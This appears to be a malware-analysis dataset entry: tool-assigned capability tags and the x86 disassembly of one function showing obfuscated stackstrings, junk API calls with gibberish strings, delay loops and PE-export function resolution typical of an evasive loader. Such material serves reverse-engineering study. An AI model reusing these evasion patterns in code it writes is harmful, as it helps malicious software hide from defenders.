Function at 0x4015ac
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get common file path
Get geographical location
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x80ab77
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1870
call fcn.0040b640
push ebx
push esi
mov dword [esp + 0x48], 0x328d3878
mov dword [esp + 0x20], 0x2523dd1e
mov dword [esp + 0x34], 0x21307855
mov dword [esp + 0x14], 0x672ea8fa
mov dword [esp + 0x30], 0x4761876
mov dword [esp + 0x28], 0x40fa9378
mov dword [esp + 0x40], 0x47733440
mov dword [esp + 0xc], 0x156c28ae
mov dword [esp + 0x3c], 0x5433e283
mov dword [esp + 0x44], 0x3749241f
mov dword [esp + 0x54], 0x10d349db
mov dword [esp + 0x4c], 0x2349306c
mov dword [esp + 0x18], 0x6c8ebbf
mov dword [esp + 0x2c], 0x54fd690e
mov dword [esp + 0x50], 0x56ad2bed
mov dword [esp + 0x24], 0x7a196881
mov dword [esp + 0x1c], 0x59187543
mov dword [esp + 0x10], 0x1b7f058
mov dword [esp + 0x38], 0x5ba95b85
sub dword [esp + 0x48], 0x7ccf609f
mov eax, 0x2ba11503
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x12808ccd
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x34], 0x12e5929c
sub dword [esp + 0x30], 0x9c25915
sub dword [esp + 0x20], 0x47a1bfbd
sub dword [esp + 0x34], 0x2842ac9
sub dword [esp + 0x48], 0x610d82d9
mov eax, 0x79d6fb54
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x40], 0x19f8cb55
mov eax, 0x2d6c5cce
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x20], 0x34be3447
mov eax, 0x44d75561
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x624fde5b
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x48], 0xed2dabb
sub dword [esp + 0x44], 0x7e3a5591
mov eax, 0x43237d36
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x30], 0x4771ff42
sub dword [esp + 0x44], 0x56f129ec
sub dword [esp + 0x18], 0x41e1947e
mov eax, 0x3816ab6f
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x38f235a9
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
add dword [esp + 0x44], 0x35957de7
sub dword [esp + 0x18], 0x20e00206
mov eax, 0x6a29d5c6
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x54], 0x7f736a21
sub dword [esp + 0x4c], 0x73a23c8e
mov eax, 0x57ff1c72
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x30], 0x67efe02a
sub dword [esp + 0x24], 0x19343085
sub dword [esp + 0xc], 0x2a647022
xor ebx, ebx
cmp dword [0x1e00fac], 0x400
jne 0x40189e
push ebx
lea eax, [esp + 0xc7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push ebx
lea eax, [esp + 0x107c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
lea eax, [esp + 0x480]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [esp + 0x78]
push eax
push ebx
push str.Xabogacoreb_hevisopubuzo_sopeli
push str.Terokojob_yukicovolo_hasogicasidajov_xudurezarehey_nuvokezone
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push str.hexufutarojizizacekalumici
call dword [sym.imp.USER32.dll_LoadKeyboardLayoutA]
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
push ebx
mov dword [esp + 0x1888], ebx
call fcn.0040210a
pop ecx
push ebx
call fcn.00402462
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.00401a40
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00402630
fstp st(0)
push ebx
call fcn.00402917
add esp, 0xc
push ebx
call fcn.00402767
pop ecx
push ebx
push ebx
call fcn.00401faf
push ebx
push ebx
call fcn.00401d84
pop ecx
pop ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401030
fstp st(0)
or dword [esp + 0x1884], 0xffffffff
cmp dword [esp + 0x74], 0x10
jb 0x40189e
push dword [esp + 0x60]
call fcn.0040261b
pop ecx
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x207138
jg 0x4018c4
inc esi
cmp esi, 0x4f672
jl 0x4018a0
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
cmp esi, 0x2b157b
jg 0x4018de
inc esi
cmp esi, 0x116bd
jl 0x4018c6
xor esi, esi
push ebx
lea eax, [esp + 0x7c]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x58bc14
jle 0x401908
cmp dword [esp + 0x58], 0x7a45f535
jne 0x401911
inc esi
cmp esi, 0xe154
jl 0x4018e0
mov eax, dword [0x817b6c]
mov dword [0x1e00fac], eax
call fcn.00401293
mov esi, 0x3078f
cmp dword [0x1e00fac], 0x51f
jne 0x401941
push ebx
lea eax, [esp + 0x87c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
dec esi
jne 0x401925
mov ecx, dword [esp + 0x187c]
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10